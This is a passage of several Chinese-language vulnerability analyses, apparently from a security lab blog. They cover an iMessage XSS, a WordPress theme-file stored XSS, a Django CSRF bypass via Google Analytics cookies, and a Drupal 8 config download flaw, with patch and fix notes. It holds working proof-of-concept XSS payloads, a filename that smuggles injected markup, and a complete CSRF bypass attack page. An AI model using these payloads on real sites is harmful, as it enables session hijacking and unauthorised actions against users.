1234567javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)<chatitem id="v:iMessage/xxx@xxx.com/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" role="heading" aria-level="1" item-type="header"><header guid="v:iMessage/xxx@xxx.com/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx"><headermessage text-direction="ltr">与“xxx@xxx.com”进行 iMessage 通信</headermessage></header></chatitem><chatitem id="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" role="heading" aria-level="2" item-type="timestamp"><timestamp guid="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" id="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx"><date date="481908183.907740">今天 23:23</date></timestamp></chatitem><chatitem id="p:0/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes"><message guid="p:0/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:23:03" aria-label="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href=" " title="javascript://a/research?prompt(1,document.body.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem><chatitem id="p:0/64989837-6626-44CE-A689-5460313DC817" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/64989837-6626-44CE-A689-5460313DC817" typing-indicator="no" sent="no" from-me="no" from-system="no" from="D8FAE154-6C88-4FB6-9D2D-0C234BEA8E99" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:23:03" aria-label="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)" title="javascript://a/research?prompt(1,document.body.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem><chatitem id="p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes"><message guid="p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:24:51" aria-label="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)" title="javascript://a/research?prompt(1,document.head.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem><chatitem id="s:AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" contiguous="no" role="heading" aria-level="1" item-type="status" receipt-fade="in"><receipt from-me="YES" id="receipt-delivered-s:ae1abcf1-2397-4f20-a71f-d71ffe8042f5"><div class="receipt-container"><div class="receipt-item">已送达</div></div></receipt></chatitem><chatitem id="p:0/43545678-5DB7-4B35-8B81-xxxxxxxxxxxx" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/43545678-5DB7-4B35-8B81-xxxxxxxxxxxx" typing-indicator="no" sent="no" from-me="no" from-system="no" from="D8FAE154-6C88-4FB6-9D2D-0C234BEA8E99" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:24:51" aria-label="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)" title="javascript://a/research?prompt(1,document.head.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem>那么关键的触发点:
12<a href="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)" title="javascript://a/research?prompt(1,document.head.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)</a >就是这个了。 javascript 直接进入 a 标签里的 href,导致点击执行。新版本的修复方案是直接不解析
javascript://
。0x02 从老漏洞(CVE-2016-1764)到 0day
XSS 的漏洞本质是你注入的代码最终被解析执行了,既然我们看到了
document.head.innerHTML
的情况,那么有没有其他注入代码的机会呢?首先我测试的肯定是还是那个点,尝试用"
及<>
去闭合,可惜都被过滤了,这个点不行我们可以看看其他存在输入的点,于是我尝试发个附件看看解析情况,部分代码如下:1<chatitem id="p:0/FE98E898-0385-41E6-933F-8E87DB10AA7E" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="attachment" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/FE98E898-0385-41E6-933F-8E87DB10AA7E" typing-indicator="no" sent="no" from-me="no" from-system="no" from="D8FAE154-6C88-4FB6-9D2D-0C234BEA8E99" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:34:41" file-transfer-element="yes" aria-label="文件传输: tttt.html"><messagetextcontainer text-direction="ltr"><transfer class="transfer" id="45B8E6BD-9826-47E2-B910-D584CE461E5F" guid="45B8E6BD-9826-47E2-B910-D584CE461E5F"><transfer-atom draggable="true" aria-label="tttt.html" id="45B8E6BD-9826-47E2-B910-D584CE461E5F" guid="45B8E6BD-9826-47E2-B910-D584CE461E5F">< img class="transfer-icon" extension="html" aria-label="文件扩展名: html" style="content: -webkit-image-set(url(transcript-resource://iconpreview/html/16) 1x, url(transcript-resource://iconpreview/html-2x/16) 2x);"><span class="transfer-text" color-important="no">tttt</span></transfer-atom><div class="transfer-button-container">< img class="transfer-button-reveal" aria-label="显示" id="filetransfer-button-45B8E6BD-9826-47E2-B910-D584CE461E5F" role="button"></div></transfer></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem>发了个tttt.html的附件,这个附件的文件名出现在代码里,或许有控制的机会。多长测试后发现过滤也比较严格,不过最终还是发现一个潜在的点,也就是文件名的扩展名部分:
1<chatitem id="p:0/D4591950-20AD-44F8-80A1-E65911DCBA22" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="attachment" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/D4591950-20AD-44F8-80A1-E65911DCBA22" typing-indicator="no" sent="no" from-me="no" from-system="no" from="93D2D530-0E94-4CEB-A41E-2F21DE32715D" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 16:46:10" file-transfer-element="yes" aria-label="文件传输: testzzzzzzz"'><img src=1>.htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d"><messagetextcontainer text-direction="ltr"><transfer class="transfer" id="A6BE6666-ADBF-4039-BF45-042D261EA458" guid="A6BE6666-ADBF-4039-BF45-042D261EA458"><transfer-atom draggable="true" aria-label="testzzzzzzz"'><img src=1>.htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d" id="A6BE6666-ADBF-4039-BF45-042D261EA458" guid="A6BE6666-ADBF-4039-BF45-042D261EA458">< img class="transfer-icon" extension="htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d" aria-label="文件扩展名: htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d" style="content: -webkit-image-set(url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d/16) 1x, url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d-2x/16) 2x);"><span class="transfer-text" color-important="no">testzzzzzzz"'><img src=1></span></transfer-atom><div class="transfer-button-container">< img class="transfer-button-reveal" aria-label="显示" id="filetransfer-button-A6BE6666-ADBF-4039-BF45-042D261EA458" role="button"></div></transfer></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem>我们提交的附件的后缀进入了 style :
1style="content: -webkit-image-set(url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d/16) 1x, url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d-2x/16) 2x);也就是可能导致 css 注入,或许我们还有机会,不过经过测试也是有过滤处理的,比如
/
直接被转为了:
这个非常有意思 所谓“成也萧何,败也萧何”,如果你要注入css那么肯定给属性给值就得用: 但是:又不能出现在文件名里,然后我们要注入 css 里掉用远程css或者图片需要用/ 而/又被处理了变成了:不管怎么样我先注入个css测试下,于是提交了一附件名:
zzzzzz.htm) 1x);color/red;aaa/((
按推断/变为了: 如果注入成功应该是:
1style="content: -webkit-image-set(url(transcript-resource://iconpreview/htm::16) 1x);color:red;aaa:((当我提交测试发送这个附件的时候,我的 iMessage 崩溃了~~ 这里我想我发现了一个新的漏洞,于是我升级 OSX 到最新的系统重新测试结果:一个全新的 0day 诞生!
0x03 后记
当然这里还有很多地方可以测试,也有一些思路也可以去测试下,比如那个名字那里这个应该是可控制的,比如附件是保存在本地的有没有可能存在目录专挑导致写到任意目录的地方。有需求的可以继续测试下,说不定下个 0day 就是你的 :)
最后我想说的是在分析别人发现的漏洞的时候一定要找到漏洞的关键,然后总结提炼出“模型”,然后去尝试新的攻击思路或者界面!
0x04 参考链接
-
WordPress <= 4.6.1 使用主题文件触发存储型XSS 漏洞分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-08
0x00 漏洞概述
1.漏洞简介
WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统,近日研究者发现在其<=4.6.1版本中,通过上传恶意构造的主题文件可以触发一个后台存储型XSS漏洞。通过该漏洞,攻击者可以在能够上传主题文件的前提下执行获取管理员Cookie等敏感操作。
2.漏洞影响
在能够上传主题文件的前提下执行获取管理员Cookie等XSS可以进行的攻击,实际的攻击场景有以下两种:
- 攻击者诱导管理员上传恶意构造的主题文件,且管理员并没有对文件进行检查
- 攻击者拥有管理员权限可以直接上传主题文件,但既然已经有管理员权限再进行这样的攻击也就多此一举了
3.影响版本
<= 4.6.1
0x01 漏洞复现
1. 环境搭建
1234docker pull wordpress:4.6.1docker pull mysqldocker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysqldocker run --name wp --link wp-mysql:mysql -d wordpress2.漏洞分析
我们先随便下载一个主题:
12wget https://downloads.wordpress.org/theme/illdy.1.0.29.zipunzip -x illdy.1.0.29.zip然后对
illdy/style.css
进行如下更改:1234/*Theme Name: <svg onload=alert(1234)>... DO NOT CHANGES HERE ...*/接着更改文件夹名字再打包:
12mv illdy "<svg onload=alert(5678)>"zip -r theme.zip "<svg onload=alert(5678)>"构造好之后我们登录后台上传该主题文件,同时开始动态调试。
首先进入
wp-admin/includes/class-theme-installer-skin.php
中第55-82行:1234567$name = $theme_info->display('Name');...if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {$install_actions['preview'] = '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize"><span aria-hidden="true">' . __( 'Live Preview' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Live Preview “%s”' ), $name ) . '</span></a>';}$install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink"><span aria-hidden="true">' . __( 'Activate' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Activate “%s”' ), $name ) . '</span></a>';其中
$theme_info
的值如下:其中
stylesheet
和template
的值为我们更改的文件夹名,headers.Name
为更改的style.css
中的Name
。$theme_info
中有我们可控的payload,其调用display
函数后赋值给$name
,$name
直接与html拼接,所以关键点在display
函数上,动态调试跟进到wp-includes/class-wp-theme.php
中第630-646行:1234567891011121314151617public function display( $header, $markup = true, $translate = true ) {$value = $this->get( $header );if ( false === $value ) {return false;}if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )$translate = false;if ( $translate )$value = $this->translate_header( $header, $value );if ( $markup )$value = $this->markup_header( $header, $value, $translate );return $value;}由之前的调用可知,这里的
$header
的值为Name
。首先看$this-get($header)
,在wp-includes/class-wp-theme.php
中第594-617行:123456public function get( $header ) {...$this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] );...return $this->headers_sanitized[ $header ];}这里省略了与漏洞无关的部分,程序进入了
$this->sanitize_header
,在wp-includes/class-wp-theme.php
第661-705行:12345678910111213141516<span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function">sanitize_header<span class="token punctuation">(</span></span> <span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token variable">$value</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token keyword">switch</span> <span class="token punctuation">(</span> <span class="token variable">$header</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">case</span> <span class="token string">'Name'</span> <span class="token punctuation">:</span><span class="token keyword">static</span> <span class="token variable">$header_tags</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">'abbr'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token keyword">array</span><span class="token punctuation">(</span> <span class="token string">'title'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token boolean">true</span> <span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token string">'acronym'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token keyword">array</span><span class="token punctuation">(</span> <span class="token string">'title'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token boolean">true</span> <span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token string">'code'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token boolean">true</span><span class="token punctuation">,</span><span class="token string">'em'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token boolean">true</span><span class="token punctuation">,</span><span class="token string">'strong'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token boolean">true</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$value</span> <span class="token operator">=</span> <span class="token function">wp_kses<span class="token punctuation">(</span></span> <span class="token variable">$value</span><span class="token punctuation">,</span> <span class="token variable">$header_tags</span> <span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">}</span>这里执行了
Name
这个分支,可以看到程序使用wp_kses
对$value
的值进行了过滤,仅允许$header_tags
中的html符号,所以我们headers.Name
的值<svg onload=alert(1234)>
是不合法的,$value
值被赋为空。然后程序回到了
display
函数,根据动态调试可以知道程序执行了$value = $this->markup_header( $header, $value, $translate );
这个条件分支,再跟进,在wp-includes/class-wp-theme.php
中第720-748行:123456789<span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function">markup_header<span class="token punctuation">(</span></span> <span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token variable">$value</span><span class="token punctuation">,</span> <span class="token variable">$translate</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token keyword">switch</span> <span class="token punctuation">(</span> <span class="token variable">$header</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token keyword">case</span> <span class="token string">'Name'</span> <span class="token punctuation">:</span><span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token function">empty<span class="token punctuation">(</span></span> <span class="token variable">$value</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token variable">$value</span> <span class="token operator">=</span> <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">get_stylesheet<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">return</span> <span class="token variable">$value</span><span class="token punctuation">;</span><span class="token punctuation">}</span>这里我们看到由于
$value
在之前被赋为空,导致此处$value
被重新赋值为了$this->get_stylesheet()
,也就是值为<svg onload=alert(5678)>
的stylesheet
变量。最后返回的$value
赋给了$name
,$name
再与html拼接返回给客户端,从而触发了漏洞:这个漏洞有趣的地方在于
style.css
中的payload其实起到的是一个障眼法的作用,正是因为<svg onload=alert(1234)>
被过滤了才使$value
被赋值成了我们真正的payload<svg onload=alert(5678)>
。所以在构造主题文件的时候style.css
和文件夹名这两个地方都要更改。3.补丁分析
可能是由于利用条件十分苛刻,目前Wordpress官方还没有发布补丁,最新版Wordpress仍存在该漏洞。
0x02 修复方案
在官方发布补丁前,管理员应提高安全意识,不要轻易使用来路不明的主题。
对于开发者来说建议对
$name
进行合法性检查,例如这样:12345<span class="token variable">$allowed_html</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">'em'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token boolean">true</span><span class="token punctuation">,</span><span class="token string">'strong'</span> <span class="token operator">=</span><span class="token operator">></span> <span class="token boolean">true</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$name</span> <span class="token operator">=</span> <span class="token function">wp_kses<span class="token punctuation">(</span></span><span class="token variable">$name</span><span class="token punctuation">,</span> <span class="token variable">$allowed_html</span><span class="token punctuation">)</span><span class="token punctuation">;</span>0x03 参考
-
Django CSRF Bypass 漏洞分析(CVE-2016-7401)
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-09-28
0x00 漏洞概述
1.漏洞简介
Django是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞(CSRF protection bypass on any Django powered site via Google Analytics),通过该漏洞,当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制,同时又使用了Google Analytics的时候,攻击者可以构造请求来对CSRF防护机制进行绕过。
2.漏洞影响
网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制:
- 使用Google Analytics来做数据统计
- 使用Django作为Web框架
- 使用基于Cookie的CSRF防护机制(Cookie中的某个值和请求中的某个值必须相等)
3.影响版本
Django 1.9.x < 1.9.10
Django 1.8.x < 1.8.15
Python2 < 2.7.9
Python3 < 3.2.7
0x01 漏洞复现
1. 环境搭建
12345671. pip install django==1.9.92. django-admin startproject project3. cd project4. python manage.py startapp app5. cd app6. 将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中7. 更改或添加下列文件:project/app/views.py:
12345678910111213from django.shortcuts import renderfrom django.http import HttpResponse# Create your views here.def check(req):if req.method == 'POST':return HttpResponse('CSRF check successfully!')else:return render(req, 'check.html')def ga(req):return render(req, 'ga.html')project/project/urls.py:
12345678910from django.conf.urls import urlfrom django.contrib import adminfrom app.views import check, gaurlpatterns = [url(r'^admin/', admin.site.urls),url(r'^check/', check, name='check'),url(r'^ga/', ga, name='ga'),]project/app/templates/check.html:
1234<form action="/check/" method="POST">{% csrf_token %}<input type="submit" value="Check"></input></form>project/app/templates/ga.html(放置Goolge Analytics脚本的页面):
12345678910111213<script type="text/javascript">var _gaq = _gaq || [];_gaq.push(['_setAccount', 'UA-XXXXX-X']);_gaq.push(['_trackPageview']);(function() {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})();</script>88. 最后运行开启Django内置server:12# project/python manage.py runserver2.漏洞分析
我们先来看这样一个场景:
当python内置的
Cookie.SimpleCookie()
解析a=hello]b=world
这种形式的字符串时会以]
作为分隔,最后取得a=hello
和b=world
这两个cookie,那么为什么会这样呢?我们看一下源码,Ubuntu下
/usr/lib/python2.7/Cookie.py
第622-663行:1234567891011121314151617181920212223242526272829def load(self, rawdata):"""Load cookies from a string (presumably HTTP_COOKIE) orfrom a dictionary. Loading cookies from a dictionary 'd'is equivalent to calling:map(Cookie.__setitem__, d.keys(), d.values())"""if type(rawdata) == type(""):self.__ParseString(rawdata)else:# self.update() wouldn't call our custom __setitem__for k, v in rawdata.items():self[k] = vreturn# end load()def __ParseString(self, str, patt=_CookiePattern):i = 0 # Our starting pointn = len(str) # Length of stringM = None # current morselwhile 0 <= i < n:# Start looking for a cookiematch = patt.search(str, i)if not match: break # No more cookiesK,V = match.group("key"), match.group("val")i = match.end(0)...当传入
load
一个字符串时,调用__ParseString
,在__ParseString
中有这样一句:match = patt.search(str, i)
,根据之前定义的pattern来查找字符串中符合pattern的cookie,_CookiePattern
在529-545行:12345678910111213141516_LegalCharsPatt = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"_CookiePattern = re.compile(r"(?x)" # This is a Verbose patternr"(?P<key>" # Start of group 'key'""+ _LegalCharsPatt +"+?" # Any word of at least one letter, nongreedyr")" # End of group 'key'r"\s*=\s*" # Equal Signr"(?P<val>" # Start of group 'val'r'"(?:[^\\"]|\\.)*"' # Any doublequoted stringr"|" # orr"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attrr"|" # or""+ _LegalCharsPatt +"*" # Any word or empty stringr")" # End of group 'val'r"\s*;?" # Probably ending in a semi-colon)在这里我们看到
]
并没有在_LegalCharsPatt
中,由于代码中使用的是search
函数,所以在匹配a=hello
后碰到]
会跳过这个字符然后再匹配b=world
。因此正是因为使用search
函数来匹配,所以当a=hello后面是任意一个不在_LegalCharsPatt
中的字符(例如[
、\
、]
、\x09
、\x0b
、\x0c
)都会达到同样的效果:12c.load('a=helloXb=world') # X为上述字符SetCookie: a='hello' b='world'这个漏洞也正是整个Bypass的核心所在。
我们再来看Django(1.9.9)中对cookie的解析,在
http/cookie.py
中第91-106行:12345678910111213141516def parse_cookie(cookie):if cookie == '':return {}if not isinstance(cookie, http_cookies.BaseCookie):try:c = SimpleCookie()c.load(cookie)except http_cookies.CookieError:# Invalid cookiereturn {}else:c = cookiecookiedict = {}for key in c.keys():cookiedict[key] = c.get(key).valuereturn cookiedict根据动态调试发现这里的
SimpleCookie
也就是我们上面所说的存在漏洞的对象,从而可以确定Django中对cookie的处理也是存在漏洞的。我们再来看看Django的CSRF防护机制,默认CSRF防护中间件是开启的,我们访问
http://127.0.0.1:8000/check/
,点击Check然后抓包:可以看到
csrftoken
和csrfmiddlewaretoken
的值是相同的,其中csrfmiddlewaretoken
的值如图:也就是Django对
check.html
中的{% csrf_token %}
所赋的值。我们再改下包,使
csrftoken
和csrfmiddlewaretoken
不相等,这回服务器就会返回403:我们再把两个值都改成另外一个值看看:
依然成功。
所以Django对于CSRF的防护就是判断cookie中的
csrftoken
和提交的csrfmiddlewaretoken
的值是否相等。那么如果想Bypass这个防护机制,就是要想办法设置受害者的cookie中的
csrftoken
值为攻击者构造的csrdmiddlewaretoken
的值。如何设置受害者cookie呢?Google Analytics帮了我们这个忙,它为了追踪用户,会在用户浏览时添加如下cookie:
1__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]其中
[HOST]
和[PATH]
是由Referer确定的,也就是说当Referer: http://x.com/helloworld时,cookie如下:1__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld由于Referer是我们可以控制的,所以也就有了设置受害者cookie的可能,但是如何设置csrftoken的值呢?
这就用到了我们上面说的Django处理cookie的漏洞,当我们设置Referer为
http://x.com/hello]csrftoken=world
,GA设置的cookie如下:1__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world当Django解析cookie时就会触发上面说的漏洞,将cookie中csrftoken的值赋为world。
实际操作一下,为了方便路由我们在另一个IP上再开一个DjangoApp作为中转,其中各文件如下:
urls.py:
123456789from django.conf.urls import urlfrom django.contrib import adminfrom app.views import routeurlpatterns = [url(r'^admin/', admin.site.urls),url(r'^hello', route)]views.py:
1234567from django.shortcuts import renderfrom django.http import HttpResponse# Create your views here.def route(req):return render(req, 'route.html')route.html:
1<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>开启中转App:
1python manage.py runserver xxx构造一个攻击页面:
12345678910111213141516171819<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST"><input type="hidden" name="csrfmiddlewaretoken" value="boom"></form><script type="text/javascript" charset="utf-8">function sleep (time) {return new Promise((resolve) => setTimeout(resolve, time));}function poc() {window.open('http://redirect-server/hello]csrftoken=boom');sleep(1000).then(() => {document.getElementById('csrf').submit();});}</script><a href='#' onclick=poc()> Click me </a>当我们点击
Click me
,会先打开一个窗口,再回到原窗口,就可以看到保护机制已经绕过:再访问一下
http://127.0.0.1:8000/check/
,可以看到此时cookie中的csrftoken和form中的csrfmiddlewaretoken都已被设置成boom,证明漏洞成功触发:攻击流程如下:
3.补丁分析
Python
可以看到这个漏洞在根本上是原生Python的漏洞,首先看最早在2.7.9中的patch:
将
search
改成了match
函数,所以再遇到非法符号匹配会停止。再看该文件在2.7.10中的patch:
这里将
[\]
设置为了合法的value中的字符,也就是123>>> C.load('__utmz=blah]csrftoken=x')>>> C<SimpleCookie: __utmz='blah]csrftoken=x'>同样Python3在3.2.7和3.3.6中也做了相应patch:
不过尽管上面对[\]做了限制,但是由于pattern最后\s*的存在,所以在以下情况下仍然存在漏洞:
12345678>>> import Cookie>>> C = Cookie.SimpleCookie()>>> C.load('__utmz=blah csrftoken=x')>>> C.load('__utmz=blah\x09csrftoken=x')>>> C.load('__utmz=blah\x0bcsrftoken=x')>>> C.load('__utmz=blah\x0ccsrftoken=x')>>> C<SimpleCookie: __utmz='blah' csrftoken='x'>这些情况在最新的Python中并没有被修复,不过在实际情况中由于浏览器和脚本的原因,这些字符不一定会保存原样发送给Python处理,所以在利用上还要根据场景来分析。
Django
Django在1.9.10和1.8.15中做了相同的patch:
它放弃了使用Python内置库来处理cookie,而是自己根据;分割再取值,使特殊符号不再起作用。
0x02 修复方案
升级Python
升级Django
0x03 参考
-
Drupal 8 配置文件下载漏洞分析
Author: p0wd3r (知道创宇404安全实验室)
Date: 2016-09-22
0x00 漏洞概述
1.漏洞简介
Drupal ( https://www.drupal.org )是一个自由开源的內容管理系统,近期研究者发现在其8.x < 8.1.10的版本中发现了三个安全漏洞,其中一个漏洞攻击者可以在未授权的情况下下载管理员之前导出的配置文件压缩包
config.tar.gz
。Drupal官方在9月21日发布了升级公告( https://www.drupal.org/SA-CORE-2016-004 )。2.漏洞影响
未授权状态下下载管理员之前导出的配置文件
3.影响版本
8.x < 8.1.10
0x01 漏洞复现
1. 环境搭建
Dockerfile(来自Docker Hub)
123456789101112131415161718192021222324252627282930313233# from https://www.drupal.org/requirements/php#drupalversionsFROM php:7.0-apacheRUN a2enmod rewrite# install the PHP extensions we needRUN apt-get update && apt-get install -y libpng12-dev libjpeg-dev libpq-dev \&& rm -rf /var/lib/apt/lists/* \&& docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \&& docker-php-ext-install gd mbstring opcache pdo pdo_mysql pdo_pgsql zip# set recommended PHP.ini settings# see https://secure.php.net/manual/en/opcache.installation.phpRUN { \echo 'opcache.memory_consumption=128'; \echo 'opcache.interned_strings_buffer=8'; \echo 'opcache.max_accelerated_files=4000'; \echo 'opcache.revalidate_freq=60'; \echo 'opcache.fast_shutdown=1'; \echo 'opcache.enable_cli=1'; \} > /usr/local/etc/php/conf.d/opcache-recommended.iniWORKDIR /var/www/html# https://www.drupal.org/node/3060/releaseENV DRUPAL_VERSION 8.1.9ENV DRUPAL_MD5 4de7c001ecbd5c27e5837c97e40facc2RUN curl -fSL "https://ftp.drupal.org/files/projects/drupal-${DRUPAL_VERSION}.tar.gz" -o drupal.tar.gz \&& echo "${DRUPAL_MD5} *drupal.tar.gz" | md5sum -c - \&& tar -xz --strip-components=1 -f drupal.tar.gz \&& rm drupal.tar.gz \&& chown -R www-data:www-data sites modules themes1docker run --name dp -p 8080:80 -d drupal2.漏洞分析
首先我们进入后台把配置文件导出,默认导出到了/tmp/config.tar.gz。
然后看代码,我们在 core/modules/system/system.routing.yml 可以看到这样一个路由项:这是访问管理员页面时的路由,可以看到 requirements._permission 指定了需要管理员权限。
然后我们再看这一项:
可以看到并没有设置 _permission ,并且 _access=TRUE ,也就是说在未授权的情况下是可以访问这个功能的。
